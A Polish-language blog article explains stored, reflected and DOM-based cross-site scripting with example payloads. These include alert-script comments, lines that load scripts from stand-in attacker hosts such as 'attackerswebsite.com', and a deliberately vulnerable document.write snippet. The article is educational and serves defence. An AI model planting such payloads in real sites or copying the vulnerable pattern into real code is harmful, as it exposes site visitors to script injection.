Rodzaje ataków typu Cross-Site Scripting (XSS).

Opublikowany: 2022-11-04

W naszym wcześniejszym artykule na temat WordPress i Cross-Site Scripting przyjrzeliśmy się ogólnemu poglądowi na to, czym są te rodzaje ataków i jak można im zapobiegać. W tym artykule zagłębimy się w niektóre szczegóły wraz z przykładami skryptów międzywitrynowych. Chodźmy!

Stały XSS

Trwały XSS (lub przechowywany XSS) jest jednym z głównych rodzajów skryptów międzywitrynowych. Nazywa się to trwałym, ponieważ to, co wstrzykuje atakujący, jest trwale przechowywane na serwerze do późniejszego wykorzystania. Za każdym razem, gdy odwiedzający przechodzi na określoną stronę, kod jest wykonywany przez przeglądarkę podczas ładowania lub wywoływania określonej funkcji.

Trwały przykład XSS:

Załóżmy, że w sekcji komentarzy pod postem ktoś wpisuje skrypt alertu wraz z prostą odpowiedzią/opinią.

 Great solution! It works for me.<script>alert("Some text message")</script>

Jeśli sekcja komentarzy jest podatna na ataki, a przesłane komentarze nie są oczyszczone, ten kod zostanie zapisany w bazie danych. W rezultacie od tego momentu, gdy strona zostanie załadowana (przez kogokolwiek) i pojawi się „zły komentarz” wraz ze wszystkimi komentarzami, pojawi się wyskakujące okienko z komunikatem.

Wiadomość ostrzegawcza może być oczywiście irytująca, ale nie tak naprawdę szkodliwa. Ale co się stanie, jeśli atakujący wstawi złośliwy skrypt zamiast komunikatu ostrzegawczego w następujący sposób:

 Great solution! It works for me.<script scr="http://attackerswebsite.com/maliciousscript.js">

Zamiast irytującego wyskakującego okienka użytkownik końcowy doświadczy ataku XSS. Uszkodzenie będzie zależeć od rodzaju wykonanego kodu. Dlatego ataki Stored XSS są uważane za tak niebezpieczne. Atakują każdego użytkownika i nawet nie wymagają od niego żadnego wkładu (poza otwieraniem strony w pierwszej kolejności).

Nietrwały XSS

Chociaż nie tak niebezpieczne jak trwałe XSS, nietrwałe (lub odblaskowe) XSS nadal są problematyczne, nie tylko dlatego, że są uznawane za najczęstszy typ ataku typu cross-site scripting.

Zasadniczo to, co dzieje się w nietrwałym ataku XSS, polega na tym, że użytkownik końcowy klika złośliwy link, który przekieruje go do innej witryny internetowej, co spowoduje wykonanie złego kodu. Atak odbywa się za pomocą spreparowanego adresu URL lub parametrów HTTP i nie jest trwale zapisywany w bazie danych, jak w Persistent XSS.

Ale przed przeprowadzeniem nietrwałego ataku atakujący musi określić, czy strona internetowa jest podatna na ataki XSS. Jednym ze sposobów na to jest skorzystanie z wewnętrznej wyszukiwarki serwisu. Jeśli wpiszesz ciąg, powiedzmy „buty”, aby wyszukać i nacisnąć przycisk, zostanie wykonana funkcja, która wygląda tak:

 http://exampledomain.com?query=shoes

Zanim jednak funkcja zostanie uruchomiona, wprowadzony ciąg jest czyszczony, a przynajmniej powinien tak być, aby formularz wyszukiwania był bezpieczny przed złośliwymi danymi wejściowymi.

Osoba atakująca może skorzystać z formularza wyszukiwania i spróbować wprowadzić następujący skrypt:

 <script type="text/javascript">alert("vulnerable");</script>

Jeśli formularz nie zostanie oczyszczony, funkcja uruchomi się normalnie:

 http://exampledomain.com?query=<script type="text/javascript">alert("vulnerable");</script>

Spowodowałoby to (w tym przykładzie) wyświetlenie wyskakującego okienka alertu. Dzieje się tak, gdy atakujący wie, że formularz wyszukiwania ma lukę w zabezpieczeniach XSS.

Nietrwały przykład XSS

W przypadku wykrycia luki w zabezpieczeniach witryny osoba atakująca może utworzyć adres URL, który wygląda następująco:

 http://exampledomain.com?query=shoes<\script%20src="http://attacker-site.com/malicious-code.js"

Następnie „maskują” adres URL, aby nie wyglądał jak „zły” link i próbują zachęcić innych do kliknięcia w ten link. Zwykle może to być wysyłanie e-maili ze spamem lub umieszczanie łącza na forum.

XSS oparty na modelu DOM

Podczas incydentu XSS opartego na modelu DOM (lub XSS po stronie klienta) atak przechodzi przez adres URL zawierający szkodliwy kod.

Jest również uważany za lukę w zabezpieczeniach po stronie klienta, ponieważ jest wykonywany w przeglądarce ofiary, ale dzieje się tutaj, że część DOM jest zmieniana, co powoduje, że klient uruchamia kod bez jej zgody.

UWAGA: Document Object Model (DOM) to interfejs, który definiuje strukturę układu strony internetowej poprzez połączenie języka skryptowego z rzeczywistą stroną internetową. Aby to osiągnąć, umożliwia programistom dostęp do dokumentu i wykonywanie operacji w celu aktualizacji treści.

Przykład XSS oparty na modelu DOM:

Przykład ataku cross-site scripting opartego na DOM można zademonstrować za pomocą formularza, który pozwala wybrać opcję, na przykład kraj zamieszkania. Zobaczmy, jak by to wyglądało na poniższym przykładzie:

 Select your country: <select><script> document.write("<OPTION value=1>"+decodeURIComponent(document.location.href.substring(document.location.href.indexOf("country=")+8))+"</OPTION>"); document.write("<OPTION value=2>USA</OPTION>"); document.write("<OPTION value=2>Brazil</OPTION>"); </script></select>

Tak więc dostęp do strony z wybraną opcją w formularzu można uzyskać za pośrednictwem adresu URL, takiego jak:

 http://localhost/?country=Lithuania

Ale jeśli spróbujesz takiego wpisu (patrz poniżej), przeglądarka utworzy obiekt DOM zawierający ten ciąg i wykona skrypt.

 http://localhost/?country=Lithuania

Dzieje się tak, ponieważ formularz nie jest chroniony, a początkowy kod nie jest gotowy na żadne znaczniki HTML. Więc to, co robi, to rysuje DOM na stronie i uruchamia złośliwy skrypt.

Ataki XSS są zbyt powszechne. Prostym sposobem na jak najlepszą ochronę jest ciągłe aktualizowanie wtyczek w witrynie WordPress i korzystanie z wysokiej jakości hosta. Mamy nadzieję, że te przykłady dały Ci pewne wyobrażenie o tym, jak działają tego typu ataki i na co należy uważać!